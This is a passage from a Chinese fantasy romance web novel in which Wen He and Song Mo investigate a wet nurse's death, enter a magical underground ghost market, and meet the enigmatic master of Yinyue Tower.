温禾涨红了脸,嘴却是硬的,索性破罐子破摔,胡言乱语道:“我晒太阳呢。坐得高,晒得近,你瞧今日的太阳又大又圆……”
宋默眼底闪过
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一丝笑意,从袖中取出钥匙,“那表妹要不要先下来喝口茶?还是打算在上面……再晒晒太阳?”
温禾还想嘴硬,巧灵却不给机会,在一旁急得快要哭出来:“小姐您快些下来吧!”
看着两人截然不同的表情,温禾一个脑袋两个大。她看向宋默,脚尖朝他的方向隔空踢了一脚,气鼓鼓地抱紧了墙上的瓦片。
“宋默!”
被叫到名字的某人叹了一口气,把手中的纸包塞给呆楞的巧灵,走到墙下,仰头朝那个摇摇欲坠的身影张开双臂。
“下来吧。”
温禾仔细瞧瞧他瘦弱的模样,觉得不太靠谱,忍不住开口问道:“你……行吗?”
“我行不行,你要不要试试?”
语气里带着几分危险的意味,宋默的脸上写满了无语,阳光刺眼,他眯起眼睛,不容置疑地重复了一遍,“下来。”
反正有他在底下,就算摔了也有人肉垫子。
“那我可跳了!”温禾狠狠心,闭眼直接从墙上跳下去。
少女像只轻盈的纸蝴蝶落进宋默怀里。
“诶——”
两个人同时闷哼一声。
温禾的冲力让宋默踉跄着后退几步,后背重重撞上院墙。少女的发丝轻掠过他的眉眼,宋默阖上眼,她发间浓郁清甜的桂花香萦绕鼻尖。
“你……”宋默垂眸看着怀里笑得花枝乱颤,见牙不见眼的少女,喉结不自觉滚动了一下,“笑什么?”
温禾边笑边伸出手戳了戳他手臂上的肌肉,还算真心地夸奖:“我笑……没想到你还挺结实的嘛。”
听到夸奖,宋默却没有高兴,反而冷笑道:“所以,我行不行?”
“行行行,特别行。”
温禾从他怀里跳下来,却不小心踩到裙摆,又一头栽了回去。
宋默条件反射地接住她。四目相对的瞬间,两人呼吸同时一滞。
他们之间的距离,近得能看清对方眼中的自己,灼热的呼吸打在彼此的脸上,“腾”地一下,二人不约而同地脸红。
温禾赶紧站直身子,假装整理凌乱的衣裙。
宋默别过脸轻咳,拳头抵在唇边,含糊不清地数落道:“你怎么敢爬墙的?就没想过上去了下不来这回事?还是说不怕叫人看见坏了名声?”
平白被数落一通,温禾脾气上来,忍不住反驳。
“谁让你大清早的,不好好呆在家里。”她环抱胳膊,高高扬起头颅质问,“你去哪儿了?”
“查些事情。”
“那你查到什么没有?”
宋默看了一眼热心的少女,坦诚道:“没有。”
话音刚落,他靠近温禾方才跳下来的那堵墙,轻轻一跃,像只振翅的鸟儿,转眼轻轻松松就翻进了院内。
一套行云流水的动作,叫温禾看得目瞪口呆。
我那柔弱不能自理的……?
下一刻,院门从里头解锁,宋默推开院门淡淡开口:“进来说吧。”
逆光中,少年的轮廓多了一层光辉。他侧身让开一条路,嘴角噙着若有似无的笑。
“这次记得走门。”
29.线索
还是昨日的位置。
宋默打开油纸包,从里头挑了块碧绿如玉的绿豆糕,轻递到她面前。
温禾心里正想这事儿,无甚心思吃东西,心不在焉地接过,连看都没看就放在一旁。
“你说呀,你今早到底去哪儿了?”
宋默盯着那块被冷落的绿豆糕,眼神暗了暗。他特意绕了远路,在那家京都最贵的糕点铺子排队等了半个时辰。掌柜的说这是新出的江南口味,里头还加了清凉解暑的薄荷,小姑娘最是爱吃。
他觉得她会喜欢。
“没什么。”他收回目光,给自己倒了杯茶,“去义庄那里看了看。”
“义庄?是去看阿菱奶娘的尸首?”温禾敏锐地追问。
宋默猜想她应是听其他人说过此事,倒也不意外,点点头算是默认。
“嗯。”指尖停在杯口,宋默指尖在杯沿轻轻摩挲,他将茶盏放下,仔细解释:“她死在城外一家客栈,七窍流血。尸体无人认领,在义庄停了半月有余。”
“没人来领?她难道就没有亲人?”温禾有些疑惑,微微蹙眉。
“有个做杀猪的丈夫,还有个十岁的儿子。”
说起这个也曾照顾自己多年的奶娘,宋默语气平淡,像是在说无关紧要的人。
“我去客栈问过,小二说没人来寻过她。她事先预付了七日的房钱,到期后小二敲门无人应答,才自作主张推门进去发现人已经死了三日。”
这七日里没有和人见过面,又是如何被杀的?
宋默喝了一口茶水,润润嗓子,“我去她家看过,一切如常,不像要逃的样子。街坊说,阿菱失踪的前几日,她丈夫带着儿子只拎了个包袱出门,便再没回来。”
“可是他们既然分头行动,有没有可能她丈夫和儿子去的亲戚家?”
宋默摇摇头,“他们二十多年前来的京都,在这儿无亲无故,平日人际交往也十分简单,不过也不是没有可能……”
二人一瞬间陷入沉思。
既然他们选择了分头逃跑,应该是知晓此事不能全身而退。作为阿菱奶娘,小姐落水溺亡,责任在她,不可能逃脱罪罚。所以奶娘事先知道此事凶险,那个派遣她作恶的人不会轻易放过她……
但如今可用的线索渺茫,时间已过去半月,两个证人说不准早就逃到天南海北去了,又如何能寻得到呢?
温禾苦恼地托着腮,目光不经意扫过桌面,才注意到自己随手放置的糕点,碧绿的外皮印有精致的花纹,看上去不便宜。她偷瞄了眼宋默,正对上他来不及收回的目光。
温禾后知后觉地拿起来咬了一口,清新甘甜的豆香顿时在口中化开。
“好吃!”她眼睛一亮,由衷夸赞,“香香的,凉丝丝的,你特意买的?”
宋默垂眼抿了口茶,低低“嗯”了一声:“顺路,随手买的。”
“哦。”温禾又咬了一口,两颊塞得鼓鼓囊囊,“那你怎知我今日一定会来找你?”
少女歪着头追问,嘴角还沾着一点绿豆粉,眼神纯粹干净,如一只初生的小鹿。
宋默心头跳动,握着茶盏的手微微一紧。
他当然不知道,只是今早路过糕点铺时,看到新出的绿豆糕,莫名就想起她昨日吃蜜饯时满足的笑靥。
于是,他希望她来。
“猜的。”他生硬地转移话题,目光却不由自主地落在温禾沾着糕点碎屑的嘴角,“我总觉得……我们好像在哪见过。”
闻言,温禾夸张地“哇”了一声,“你是榆木脑袋吗?我刚进城那会儿就遇见你啦,你被个算命先生拦着不放呢!”
她想起当时情景,撇撇嘴,“我还问你,算出什么名堂没有,你都没理我。”
宋默想说不是那次,而是更久以前。或许是前世,或许是梦里。但最终他只是问道:“想知道那算命的说我什么?”
“说什么了?”
“他说……”宋默突然直视温禾的眼睛,一字一顿道,“我有一段良缘,远在天边,近在眼前。”
阳光透过竹叶的间隙,在他清俊的侧脸上投下斑驳的光影。他说得那样认真,平素无大波澜的双眼罕见地柔和下来,幽幽地倒映出温禾的脸。
他是故意说出来的,只是想看她的反应。
她会因此高兴吗?还是会懊恼,然后再也不理他了?
却不想温禾闻言只是挑了挑眉,没有半点意外,也没有一点寻常女儿家的羞态,反而爽快利落地应下。
“哦,我是你的良缘。”
她说得理所当然,仿佛是天经地义的事。
宋默一怔,手上的茶盏差点打翻。他没想到会得到这样的回应,耳尖悄悄爬上一抹红,隐隐发烫。
温禾只消一眼就看到了那抹红,她了然地弯眼笑。
拈起一块碧绿的糕点,故意凑到少年唇边,“那我的良缘能否赏脸吃一块,再帮我解决点小问题呀?”
指尖若有若无地擦过他淡色的唇瓣。
“什么问题?”他声音微哑,喉结随着吞咽轻轻滚动。
温禾又往前送了送,“你先吃,我再说。”
依言,宋默长睫微颤,在眼下投落一片阴影。他顺从地启唇咬下,几粒细碎的糕屑沾在唇角。粉色舌尖倏地掠过,将那点碎屑卷入口中,唇瓣顿时染上一层莹润水光。
温禾看得入神,险些忘了正事。她收回手,指尖还残留着对方唇瓣的温度,传递到心头痒痒的。
“林宛筠要带我去长公主的寿宴……她还给我寻了一位傅母专门教导我礼仪规矩。”她声音不自觉放轻,“我怀疑她想为我说亲。”
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宋默眸光瞬时转暗,方才的乖顺荡然无存,他突然扣住温禾的手腕,力道不重却紧紧扣住,不容逃脱。
“你想去吗?”
温禾被他突如其来的转变惊得一怔。眼前这个昳丽如画的少年,此刻眼尾微微泛红,美的惊心动魄又带着几分戾气。
明明方才还好好的……她感觉这次要是说错了话,这人就再也哄不好了。
“当然不想!”她急急忙忙解释,“我也不想随便嫁人的!”
宋默忽然倾身,修长挺拔的身影挡住攀上高空的日头,温禾被笼罩在阴影中。他抬手缓慢的,轻轻揉捻过少女柔软粉嫩的唇瓣,拂去她一直沾在嘴角的碎屑,心情由阴转晴。
“那就不去。”他声音低哑,呼出的气息带着淡淡的绿豆清香,拂过她敏感的耳垂,“你想做什么,我都帮你。”
院门外,巧灵尽职地守着。周遭环境幽静,二人的靠近,气氛旖旎暧昧。
温禾突然抓住宋默的指节,“诶,等等!”
“你知道鬼市吗?”
宋默微微蹙眉,“鬼市?那个每月十五才开的黑市?”他若有所思地看着尤为兴奋的少女,“你想去?”
“嗯!”温禾重重点头,黑宝石似的眼珠亮晶晶的,难掩其中的亢奋。
鬼市,是个极为特殊的地下交易市场。这个地下,还真是物理意义上的地下。它的位置不定,只在每个月的十五日亥时打开入口。温禾跟着师兄去过一次,知晓进入的门道。
那里的规矩很简单:不问来路,不问去向。每个人都可以自主选择成为买家亦或者是卖家,每笔交易只需要在其中抽取一成的佣金缴纳隐月楼,便可银货两讫,永不相干。正因如此,鬼市上流通的多是些见不得光的物件。
而掌控着这座鬼市的,或者说维持鬼市一直正常运行的,是一个神秘的组织。
隐月楼。
江湖上对隐月楼的传说有很多。但最为知名的还是隐月楼的楼主,华元洲。传闻他是魔族与人族的混血,为两界所不容,于是脱离出来自立门户,创立了隐月楼。他有一异术,可通晓天地,只要是这世间发生过的,亦或者将要发生的,他都能知道。
但前提是,你要付得起价钱。
而华元洲此人,心思深沉,变化多端,随心所欲,开出的价格没有定律,随时都会根据来问的人有所变化。
如果只是要钱……温禾想起自己钱庄里的存钱,倒也不担心,好在她现在别的没有,有的就是钱。
“我听说……那里能打听到很多不为人知的事情。或许,你妹妹的下落可以在鬼市有所眉目。”
“好。”宋默点点头,离这个月的十五也只剩下三天的时间。
他还有时间可以筹钱。
“三日后的亥时,我在西院的侧门等你。”
30.鬼市
月黑风高夜。
夜色已深,温禾特意让巧灵今晚自个儿回房睡,她趁着院子众人都睡熟了,轻手轻脚地翻窗而出。
今夜风凉,她裹紧斗篷,扛着一个大包袱,往约定好的侧门去。刚拐出院门,便见一道修长的身影倚靠在墙边。
是在等她。
宋默一袭墨色长衫,黑的几乎溶于夜色。月光倾洒,勾勒出他清冷的轮廓,黑衣衬得他愈发妖异。
“不是约好在侧门见吗?”温禾走过去,把声音压到最低。
“不会有人发现的。”
这话听着怪异,好像他们不是去办正经事,而是去偷、情似的。
温禾凝视着宋默,少年衣襟微微敞开,锁骨处隐约可见几道浅粉色的伤痕,像是被划伤又愈合才能形成的新伤口。
虽已结痂,但仍能看出最初时候的触目惊心。
“你受伤了?”她皱眉,伸手要去碰。
宋默灵活地侧身避开,少女的手停在半空,他淡淡道:“路上磕的。”
温禾自然不信。这伤明显是打斗才能留下的,但他既然不想说,那她也不再多问,只是从识海里悄悄取出一瓶药膏,是大师兄严选,塞进他手里。
“回去抹上,别留疤。”眼神从少年裸露的领口收回,她轻哼一声,“这么好看的皮囊,留疤多可惜。”
宋默指尖一顿,暮夜里,脸上忽然爬上一层薄红。他低低应了一声,默默将药膏收入袖中。
二人并肩从侧门出去。
今晚的确奇怪,一路上竟未遇到任何守卫,连平日值守的小厮都不见踪影,顺利得十分诡异。
夜风呜咽,枯树低垂,远方隐约传来几声犬吠。温禾带着宋默穿过破败的草屋和孤魂野鬼的居所。
他们要去的地方是城西的郊外,那里是流民聚集之地。
根据之前跟大师兄去鬼市的经验,温禾花重金从京都的情报贩子手里买下了本月鬼市出现的地点。
纸条上写的模棱两可,字迹不清,只能隐约看清几个字。
城西、流民、水、圆……
她拼凑了半天,觉得应当是城西流民聚集之地。
二人走了有半个时辰,一个巨大的圆形深坑突兀地出现在眼前。
“你确定是这里?”宋默低声问道,目光扫过四周荒凉的景象。
这大坑不像是自然形成的,坑中水面如镜,水色幽深,倒映着十五夜天上惨白浑圆的明月,深不见底。
“应该就是这里了。”
温禾从地上捡起一根枯枝,小心翼翼地绕着大坑检查了一圈,没发现什么异常。
她抬起头望了一眼悬在天空高挂的圆月。
十五月亮十六圆。
突然她瞥见坑边围了一圈大小相似的树,树上都贴着黄色的符咒。
她就近选了一棵树爬上去,可由于身体虚弱体力不支,才爬到一半就缓缓滑了下来。
“宋默。”她转身朝少年招手。
“你帮我把每棵树上的符纸都取下来好不好?”
少年点点头,一言不发地走向最近的树。他身形轻盈,几下就攀上树梢,修长的手指轻轻揭下符纸。
一棵、两棵、三棵……整整十二棵树。
当宋默将最后一叠符纸递给温禾时,他眸色一顿。这些符咒上的纹路他从未见过,却莫名能感受到纸张上传来的奇异波动,像是有什么力量在暗中流动。
“这是……”
“入口。这是某种法阵,可以连接鬼市。”温禾用胳膊拱了拱旁边的人,“身上有绳子吗?”
宋默也不问要绳子做什么,从身上摸了一阵,最后从腰间抽下一根细长的绳索。
温禾接过,这绳子触感冷凝,虽柔软可以肆意塑形,但她总觉得不像是正经绳子……
倒像是专门用来杀人的工具。
她若有所思地看了宋默一眼,没问出来。
一个十六岁的少年,不能是杀人狂吧?
压下心头疑惑,她将十二张符咒用绳索串联成长长一条,每张对应一棵树,绕着十二棵树围成一圈。
当她将最后一枚符咒系好时,突然平地起了一阵阴风。符纸上的血色咒文骤然亮起,在黑暗中凝聚成十二道猩红的光束,将巨坑围成一圈诡异的血色牢笼。
水中月亮的倒影消失不见了。
取而代之的是一片荒郊野岭的诡谲景象,那水面仿佛变成了一面镜子,清晰映出他们周围的环境。只是有微妙的差异,那画面的右上角有一道暖红色的光,慢慢的,有两三个戴着狰狞面具的身影打着红色灯笼,正从画面边缘缓缓走出。
“这画竟然是活的……”宋默素来沉静的眸子终于泛起波澜。
他今晚见到了太多超乎常理之事,一直没有表现出来。事到如今,总是忍不住低声惊叹。
温禾见状轻笑出声:“走啦。”
“走去哪儿?”宋默难得露出茫然之色,锐利的眉眼此刻竟显出几分呆愣。
温禾觉得他这样傻乎乎的,与他平素的表现十分出入,不禁笑出来,“当然是去鬼市啊。”
“嗯?”
她收敛了笑意,正色道:“把手给我。”
宋默毫不犹豫地将手放入她摊开的掌心,少女的手比他想象中还要柔软温暖。
下一秒,她拽着他。
突然纵身往巨坑里跳了下去。
“等……”
宋默还未来得及反应,两人已坠入水中。想象中的窒息感并未袭来,反而像是穿过一层冰凉的绸缎,耳边响起奇异的水流声。
四周天旋地转,头上是他们的去处,脚下是他们的来处。
仿佛置身于阴与阳的夹缝之中。
宋默呆呆地看着温禾,后者指了指头顶,然后拉着他往“水面”游去。
哗啦——
二人破水而出,却并非回到现实,而是站在一条幽暗的小路上。
水池边立了一块石碑,上头印刻着几个字。
黄泉引路处。
雾气弥漫,两侧鬼火幽幽,温禾挥手使雾气散开去,勉强能看见前方立着两道高大的身影。
她拉着宋默上前,从包裹里掏出一小粒银钱,递给鬼市的守门
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人牛头马面,买两张面具。
马面连正眼都没瞧上她递过来的银钱,牛头只瞥了一眼,从吊着铜环的鼻孔里喷出两股热流,“打发叫花子呢?”
真黑心。
见状,温禾讪笑着,不得已又掏了块银锭。
牛头接过去掂量掂量,挥挥手让他们过去选面具。
这下总算满意了。
温禾挑了两张面具,递给宋默一张青面獠牙的鬼面,自己则带上一张赤红的罗刹脸。
面具下,她眼睛弯成月牙,“怎么样,吓不吓人?”
宋默沉默地戴上面具,面具的凉意触及指尖,他收敛回心神。
“嗯,好吓人。”
面具之下,少年眼中透露出一种复杂的情绪,眸光晦暗,一概都被隐藏在黑暗中。
他目光落在少女兴致勃勃一蹦一跳的背影。
宋默从没告诉过她,他曾经见过应幼兰一面。
十三岁那年的立冬,天上下的是成不了积雪的小雪,摊开掌心,雪花落入手中便轻易地融化了。
他的母亲也如此轻易地融化在那个冬日里。
无声无息地上吊,无声无息地落葬。
白茫茫的一片雪。
比他小一岁的应幼兰正是那天跟着父母来京做客。他们在前厅欢声宴请,他在后院抱着还有几日满月的幺妹不知去向几何。
应幼兰跟着宋明义经过听竹院,他们青梅竹马,两小无猜,真是一对璧人。
她看他时的眼神,不咸不淡,对比看宋明义赤忱热烈的眼神,如同天上地下。
她喜欢宋明义,毋庸置疑。
听竹院和听雪院离得不远,但他很少能见到应幼兰。那位表小姐身体不好,每过一段时间就能闹出些疑难杂症出来,医师、汤药、补品,只要是好东西,就如同流水一般往听雪院送。
他当时想的是,暴殄天物。那样多珍惜的东西浪费在一个注定要死的人身上,而忽视了真正需要的人。
真是可耻。
因果缘由,他对这位表小姐的印象很不好,那是个柔弱、冷漠、怕死,和世上庸才无甚区别的人。
但三年后的应幼兰,他面前的这个人,截然不同。
如果不是那副一模一样的外壳,他难以相信这是同一个人。
一个大门不出二门不迈的金贵小姐,熟门熟路地穿行在鬼市的暗巷,对周遭诡异恐怖的景象视若无睹,甚至能准确避开地上游动的黑影。
“到了!”温禾突然回过头,指向城中央最大最惊奇古怪的楼阁,“前面那个就是隐月楼。”
红云黑雾之下,一栋造型怪异,姿态极不和谐的楼阁高高耸入云霄,上窄下宽,如同一根长针深深扎进这片土地,散发着诡怪的气息。
他们真正迈入了鬼市的地界。
但二人都没有进入过隐月楼,不懂其中的规矩,思索再三,温禾提议:“现在时候尚早,要不先逛一圈,看看能不能探到一些消息?”
宋默点头,没有异议。
他们一同转头,目光齐齐落在角落那个衣衫褴褛的年轻人身上。
31.替偶
鬼市暗巷里堆放着不少杂物,一个衣衫褴褛的青年正翘着二郎腿半卧其上,嘴里叼着根狗尾巴草晃悠。
他的名字叫阿有。
没什么大寓意,纯粹是小时候穷怕了,指望着这日子越过越有,所以自个儿长大后取了个名字叫阿有。
阿有正愁着今晚没开单,忽见两个相貌上乘的少年人一男一女、一前一后、一高一矮地朝这边走来。
男的身量高挑,骨骼有力,根骨还算上佳,若是卖给那帮喜欢用人炼药的邪修,定能卖出好价钱。旁边那个女的,个子矮小了一些,身体看上去也不够结实,但那张脸不错,在妖物横行的鬼市,这种清丽柔美的脸蛋可是稀罕物。若是能找到一个手法娴熟的换脸师,割下这张脸也能换钱。
他在心里噼里啪啦打起算盘,只等二人上门入套。
不知自己已经被当成菜的温禾,上前问道:“你就是那个包打听?”
“没错,就是老子。”
阿有两根手指夹下狗尾巴草,得意洋洋地上下瞟温禾,心里把价码抬高了一些。
“我们想要去隐月楼,你有没有什么门路?”
阿有身上味道不好闻,一股子酸臭味。温禾离他有些距离也闻得一清二楚,她从钱袋子里掏出一小粒银子丢给他。
阿有接过银子,放进嘴里咬了两下,表情有点嫌弃:“就这点钱?那可不够。”
温禾眉头一皱,突然抓起宋默的手攥成拳头,朝阿有扬了扬,“是好好收钱办事,还是想吃拳头,你可要想清楚了。”
闻言,阿有不惧,反而嘿嘿一笑,“咋的,欺负人是不?”
他猛地从半卧的姿势转变成盘腿坐,身后的阴影处突然出现几个身形魁梧外貌凶狠的壮汉,每个人脸上都有一道长长的伤疤,个个目露凶光。
温禾瞬间怂了。
敌众我寡,敌强我弱,那我便退一步,海阔天空。
她讪笑着说:“哪能呢,做个生意何必打打杀杀……”
说罢,将宋默往自己身后藏了藏,像是老母鸡护崽子的模样。
“算了算了,不就是钱的事儿吗!”温禾含泪从钱袋子又掏出一锭银子丢过去。
“这下总够了吧?”
阿有接到银锭,仍不满足,目光贪婪地落在温禾挎在身上鼓囊囊的钱袋。
温禾感知到危险,赶紧侧身捂好钱袋子。
阿有食指指向那钱袋,“拿来吧。”其中一名壮汉朝着温禾走去,当着她的面不由分说地一把扯下她的钱袋子。
宋默眼神一冷,刚要动作,却被温禾拦住了。
在她眼里,宋默一个黄瓜干子怎么打得过对面一群壮实的窝瓜条子。
温禾只能眼睁睁看着自己的钱飞走,私底下偷偷捏了捏宋默的手掌,轻声劝道:“算了吧。”
阿有掂了掂钱袋,听着里头银两叮当作响,咧嘴一笑,还补了一句,“反正你们去隐月楼也用不上钱,不如救济一下穷人,比如我。”
“现在能说了吧?”温禾强忍怒气道。
阿有笑呵呵地仰起头看向隐月楼的方向,当然可以说了,只是你们没命听……
倏忽间,他脸色一变,收起那副调笑的样子,极为谄媚地点头,“自然,自然。”
他咳了一声清痰,“隐月楼的规矩……这第一,就是看货不问价。不管你们去那里所求何事,这价位只能是隐月楼来定。”
“第二么,这价格就不一定是钱了。隐月楼不为求财,他们所求的是其他东西,可能是人……”说到这儿,阿有故弄玄虚地挤挤眉眼,“也可能是对你来说,特别重要的东西。”
“还有第三……你们是想见楼主对吧?”
温禾不知阿有为何知道他俩的目的,但还是点头说是。
阿有笑起来,“你们想见楼主,楼主还不一定会见你们呢!”他指了指隐月楼门口排成长龙的队伍,“瞧见没有?那一溜的人,都等着见楼主呢。但我在鬼市待了这么久,见到楼主的人可不超过三个!”
温禾与宋默对视一眼,都从对方的眼里看出疑惑,“为什么?”
阿有神秘兮兮地压低声音:“楼主心情好就见,心情不好就不见。哪有什么为什么!这就没有规矩,管你是天潢贵胄,来了鬼市,都是鬼……就算你献上稀世珍宝,楼主不想那也没辙。”
说完,阿有抛给他们一人一块木质的令牌,上面刻着古怪的符文,贴在鼻子上能闻见淡淡的异香。
“今日开业大酬宾,就送你们俩一人一块藏香令,遮一遮身上的人味儿吧。你俩跟个刚出锅的红烧肉似的招摇过市,没被妖怪盯上掳走,算你们走运。”
说真的,他俩一路还真没注意到。听阿有这么一说,温禾和宋默才回过头看了看,离他们最近的□□精正对着他们张着大嘴巴,展示猪肝,涎水从嘴边滑下、拉长,粘稠的涎水在地上汇成小河。
“虽说咱们鬼市的治安还是不错的,但是还是注意点哈。”
那□□精的口水都快流到温禾脚下,她往宋默那儿靠近了一些,两人紧紧贴在一起。
她一边把藏香令佩戴好,一边干笑道:“那你人还怪好嘞。”
阿有嗤笑一声,“拜托,我是有职业操守的。你们赶紧去,隐月楼只开一个时辰,过时不候啊。”
闻言,温禾果然急匆匆拉着宋默赶到队伍末尾。
那藏香令还真有些用处,自从他们佩戴上后,身上的人味似乎真的淡了许多,至少沿路那些奇形怪状的妖怪不再虎视眈眈地朝着他们流口水了。
他们排在最末尾,温禾正忧心这队伍得排到猴年马月去。
却发现没过一会,前头的人就被淘汰了一大批。她最初还不知隐月楼的筛血方式,等到他们前面的人被淘汰时,她才发现隐月楼的人总是提着一盏白色灯笼,里头却没有燃灯。
那灯笼无火自明,在每个访客面前停留时,那盏灯便会诡异地自动变换颜色。若变红,那就会被淘汰,不允进入。反之变青,则会由专人带进隐月楼。
还真是一亮定生死。
温禾双手合十,暗自祈祷祖师爷保佑,可一定要助她成功见到那位神秘楼
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主。
她还有事要问他呢!
此番前来,确实不仅仅为了宋默妹妹的下落,她也有自己的私心。
白灯笼飘到眼前时,温禾才看清提灯人的模样,面若纸白,脸上没有一丝沟壑纵横,看起来像极了纸扎的人偶。
替偶。
温禾突然想起来这种生物。
替偶,它既不是活人,也不是死人。他们更像是将灵魂出卖后,寄住在特制符纸制作的躯壳内,成为任人驱使的异类。它们有自己的思想,但行为却不受自己操控。
只是,能同时操控这么多的替偶,隐月楼主非同凡人。
那盏灯笼照在温禾身上,里头骤然燃起青色的火焰。
一个替偶无声无息地出现在身侧,躬身请她移步。
“稍等,”温禾急忙指向宋默,“我们是一起的。”
好在宋默那里也没有意外,白灯笼灭了又燃起青色火焰。
两人跟着引路替偶穿过幽暗的廊道。隐月楼里很是奇怪,四周黑雾弥漫,伸手不见五指,完全看不清前路。但在这种环境下,却不燃一盏灯,只有替偶手上的灯笼是唯一的光源。四周人影憧憧,隐约能听见嘈杂的低语,却像是隔了一层厚厚的纱,听不真切。
似乎被一种奇怪又强大的力量屏蔽了。
看不见,听不到。
行至一处,替偶突然停下。它僵硬地转身,纸白的脸上裂开一道诡异的弧度:“公子若只想知道事情真相,只需在一楼写下所问之事,稍等片刻便能知晓。”
“一楼?”宋默眉头微蹙。
替偶点头,关节发出“咔咔”声响,声音干涩的如同被踩碎的枯叶:“隐月楼根据受理的事务分为三层。一层多处理一些简单的事务,如公子想知道的生死之事可算为一类。二层则复杂一些,会接管由一层延伸出来的仇杀业务,可断恩怨。公子若需要,也可去二层。至于三层,只有楼主选定之人才可进入。”
说完,它突然转向温禾,躬身时脖颈发出令人牙酸的“吱呀”声,“姑娘请随我来,楼主在三楼等您。”
这是要把他们分开。
温禾和宋默对视一眼,此地诡谲,若是分开,不知会遇上什么危险。
“恐怕不行。”宋默抬眼,唇边勾起一抹浅笑,手上动作悄悄探入腰间的匕首,他言语温和有礼,“劳烦您向楼主通传一声,要见,就一起见。”
替偶诡异的笑容凝固在脸上,它的思想无法作出听信主人以外的其他判断。
僵持片刻,替偶僵硬地张开五指,从怀中取出一张猩红如血的符纸。它嘴唇机械地开合,吐出晦涩难懂的咒语。符纸上渐渐浮现出扭曲的黑色符文,像是有生命般蠕动着。
“呲——”
替偶将红符投入灯笼,青色火焰一瞬间暴涨。火光中,那些黑色的蠕动的符文像是活物般在火焰中疼痛地发出尖叫和疯狂扭曲,最终化为一阵青烟往楼上飘去。
替偶僵硬的脸上突然有了鲜活的表情,它发出一声轻笑。
“既然如此……那便都上来吧。”
32.真相
说完的下一秒,替偶恢复了僵硬的面孔,面无表情地做了个“请”的手势,领着二人踏上通往三楼的阶梯。
随着高度上升,周遭窸窸窣窣的嘈杂人声渐渐消散,最终取而代之的是一片死寂。替偶在一扇雕花镂空繁复的紫檀木门前停下,突然熄灭了手中的纸灯笼。
瞬间,他们就陷入黑暗之中。
木门自两侧缓缓开启。
看清门后世界的温禾不由得屏住呼吸。
一室的奇异珍宝,流光溢彩。价值连城的人鱼鲛珠散发幽蓝荧光,被随意丢放在角落权当照明。墙上挂着一幅用凤凰尾羽织就的字画,是大师兄苦苦寻找的星图,每一颗星辰璀璨耀眼,缓缓流转。
温禾跟着宋默一起踏入这间屋子。
她被隐月楼主的豪气震撼,就连脚下踩的纯白地毯都是千年雪狐的皮毛。
比这些更能引起注意的是那位神秘的青年男子,他带着一副只遮住半张脸的银质面具,露出的那半张面容妖冶绝伦,一双狐狸眼微微上挑,眼尾坠着一颗泪痣,顾盼流转间,欲语还休,勾魂夺魄。他身着一身凝夜紫的广袖长衫,细看却分明是女子制式,却被他穿出别样的风情。
他懒懒半倚在美人榻上,有气无力地朝着温禾笑,声音如丝绸般柔滑,却透着几分倦怠。
“来了。”
温禾觉着这隐月楼主看起来半死不活的。
目光在温禾身上停留片刻后,又慢悠悠地转向宋默。
半晌,男子薄唇轻启:“有意思。”
这男子身上处处透露着古怪,温禾与宋默都默契地停在门口,谁都没有贸然向前。
男子的目光黏腻得如同盛夏时节混杂着汗水的雨水,令人浑身不适。温禾忍了半天,还是率先打破沉默,开口问道:“为何要单独见我?”
“呵……”男子慵懒地支起下巴,手中折扇轻轻抵在唇边,“你确定要当着他的面说吗?”
屋内只有三人。
这个他,只能是宋默。
可温禾与这神秘男子并不相熟,可这话一出,却像是他们早就熟识,且有意将宋默排挤出去,听起来难免会令人生疑,有几分故意挑拨离间之感。
“有何不可。”
温禾扬起下巴,故作镇定地答道。看起来分外坦然,毫不在意这男子会说出她的秘密。她面上不显,可实际上心里却直打鼓。宋默不傻,相反还有点脑子,又生性多疑,若这男子说出什么不该说的……
她也保不准宋默会不会怀疑到自己身上,只能寄希望于宋默比起相信这个男子,更信任她。
虽然,现在的她对宋默来说也只是个刚见过几天的远方表妹。
但是!
他们之间,可是要羁绊存在的啊!
她悄悄瞥宋默,少年不知在想什么,沉默地站在一旁,如墨点染的眼瞳一瞬不瞬地目视她,看得她更心虚了。
她回望过去,努力扬起灿烂的笑容。
温禾看着宋默,华元洲又看着温禾。
场面说不出的怪异。
“有趣。”华元洲突然轻笑一声,“刷”地展开折扇,遮住了脸上玩味的表情,“既然你不在意,那我就直说了……”
闻言,温禾的心都快要提到嗓子眼。
“你们……”
华元洲挥袖,桌案忽然间出现一套青玉茶具。
“先坐下喝茶吧。”
“?”
温禾对着宋默大眼瞪小眼,好在宋默生性较为沉稳,没有表露出半点疑惑,神色自若地端坐在案前。
温禾怔愣了一会儿也只好跟着坐下。
华元洲没有喊替偶代劳,反而自己亲自上手为二人沏茶。他沏茶的动作也很奇怪,那双骨节分明的手明明是男子模样,动作却如女子般柔美轻缓,兰花指轻翘,皓腕低垂,连斟茶时衣袖拂动的弧度都透着说不出的妩媚。
给人的感觉怪异极了。
温禾看得脊背发凉。
她宋默都没说话,静静看着他行云流水地沏茶,最后分了两杯碧色茶汤各推到二人面前。
他们一一接过,却不敢喝。
“怎么不喝呢?”
华元洲的声音突然变得尖细,整个人的气质也随之柔和下来,方才那股令人不适的压迫感荡然无存,倒真像个温婉的大家闺秀。
他这副模样,温禾突然想起课业上教授过的“一体双魂”。或许,华元洲生来虽然是男身,但魂魄却被分为了一男一女。
温禾端起茶杯,但也只是端起来。她不敢喝,万一这茶里有什么不干不净的东西呢。
还未想完,华元洲又恢复了最初见到的慵懒模样,斜斜睨过温禾与宋默,冷笑,“喝啊,她想看你们喝。”
似乎看穿他们心里所想,华元洲自顾自斟了一杯,仰头饮尽。
他将空杯重重一放,语气陡然转冷:“如果不喝,那这笔买卖就免谈。”
闻言,宋默浅啜一口。那茶水太烫,温禾犹豫了一下,吹了吹,也仰头喝下。
见二人饮尽茶水,华元洲脸上浮现出诡异的满足感。他不知是在问谁,对着空气轻声细语道:“他们喝完了,你可高兴?”
明明无人应答,他却笑得愈发灿烂,连带着态度也温和起来。
“现在,你们想知道什么?”他慵懒地倚回美人榻,折扇有一下没一下地敲着额角,“不过……”
扇骨突然“啪”得合拢。
“你们又准备用什么来交换呢?”
“你想要什么?”温禾直视他的眼睛。
华元洲歪着头思索片刻,扇骨重重收紧捏在手中,忽然凑近:“若我要你的命,你给吗?”
如果是温禾自己的性命,她还真不一定舍得给,她本就是个贪生怕死的人。但如今面对华元洲的是应幼兰,她下意识认为华元洲想索的是这具身体的命。
于是,温禾只简单思考一会,就点头应下说好。
反正,任务结束,她都是要回家的。
宋默见温禾轻巧答应,一贯冷静的脸上突然出现裂痕,眼底的疑惑昭然。他不明白到底是什么事情,能够让她如此轻易地把自己这条性命也
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甘愿送出去。
